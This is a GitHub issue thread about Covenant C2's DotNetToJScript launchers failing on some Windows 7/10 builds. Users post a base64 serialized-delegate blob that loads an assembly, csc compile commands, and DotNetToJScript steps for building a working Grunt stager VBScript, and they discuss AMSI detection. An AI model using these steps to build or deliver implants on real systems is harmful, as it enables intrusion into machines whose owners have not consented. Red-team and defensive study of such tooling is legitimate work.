DotNetToJScript-based Launchers Don't Work on Some Versions of Windows 10 / Windows Server 2016

[Comanio00]

Hello. After the upgrade, the launch of the payload error appears (mshta, Regsvr32).

An error has occurred in the script on htis page. Line: 229 Char: 1 Error: Binary stream '90' does not contain a valid BinaryHeader. Possible causes are invalid stream or object version change between serialization and deserialization Code: 0

[demonsec666]

@cobbr

[cobbr]

I've added this note to the Wiki: Please keep in mind that any of the launchers that rely on DotNetToJScript may not work on some of the latest versions of Windows 10 and Windows Server 2016 and/or may be signatured by some AMSI providers..

I've also added a note to the launcher descriptions for each of the DotNetToJScript-based payloads to make this more obvious.

I'm not 100% sure why this is the case, but I have a few theories. If anyone has a solution to this, I am open to a PR, but I likely will just keep the launchers for use in other scenarios.

Keeping this open for now, but may eventually close.

[pretzel729]

I was having the same issue on Windows 7 SP1 and Windows 10 RS3 build 16299.15

Using this FrontBinaryFormattedDelegate, EndBinaryFormattedDelegate pair in Models/Launchers/Launcher.cs made it work for me: protected static string FrontBinaryFormattedDelegate = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkDAAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAHdGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAACQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYRAAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAAAAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5YbWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkGFwAAAARMb2FkCg8MAAAAACoAAAI="; protected static string EndBinaryFormattedDelegate = "AQ0AAAAEAAAACRcAAAAJBgAAAAkWAAAABhoAAAAnU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkgTG9hZChCeXRlW10pCAAAAAoL";

Values were obtained from running dotnettojscript (without the -n option) on an assembly of size 10752 bytes.

Note: My compiled GruntHttpStager assembly was 10752 bytes (StagerAssembly.Length = 10752). Looks like the 4th to last byte of FrontBinaryFormattedDelegate (FrontBinaryFormattedDelegate[-4]) should be equal to hex(StagerAssembly.Length/256) (Haven't looked into what happens when StagerAssembly.Length >= 256*256)

[try-catch-try]

Still seeing similar behavior for both windows 7 and windows 10 with defender disabled. This does not appear to be a AMSI issue. It seems more like a .nettojscript or compilation problem. I manually compiled the grunt csharp code using CSC on windows 10 and then used .nettojscript to generate the base64 encoded assembly and copied and pasted the b64 string into the JS file created by covenant. This worked on win10 without defender enabled, but was detected by AMSI with defender enabled. The .nettojscript launchers created on the Linux side do not appear to be compiling as expected.

Payload creation: Ubuntu16.04 LTS w/ dotnet core installed Payload execution: Win10 & Win7 Defender disabled.

[atcuno]

We are having the same issue on Windows 7 targets. It is definitely not a Windows 10 only problem.

[codewatchorg]

I can't get the script generated by Covenant to work, but I can create the DotNetToJScript payload myself and get it to work on a Windows 10 Pro box. I found that the DotNetVersion HAS TO BE SET to Net35 (this exact same process doesn't work for Net40, the Stager will never get beyond a status of "Stage2").

1. Create a listener.
2. Go to Launcher -> Binary, and make sure the DotNetVersion is set to Net35.
3. Generate the launcher and then copy the code.
4. Remove the final curly brace from the code ( '}' )
5. Replace "namespace GruntStager" and the curly brace immediately following on the next line, with: using System.Runtime.InteropServices; [ComVisible(true)]
6. Compile with csc: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /noconfig /nostdlib+ /reference:C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorlib.dll /reference:"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\System.Core.dll" /reference:"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\System.Data.DataSetExtensions.dll" /reference:C:\Windows\Microsoft.NET\Framework\v2.0.50727\System.Data.dll /reference:C:\Windows\Microsoft.NET\Framework\v2.0.50727\System.dll /reference:C:\Windows\Microsoft.NET\Framework\v2.0.50727\System.Windows.Forms.dll /reference:C:\Windows\Microsoft.NET\Framework\v2.0.50727\System.Xml.dll /target:library' -out:GruntStager.dll GruntStager.cs
7. Create VBScript with DotNetToJScript: DotNetToJScript.exe GruntStager.dll -l vbscript -c GruntStager -o GruntStager.vbs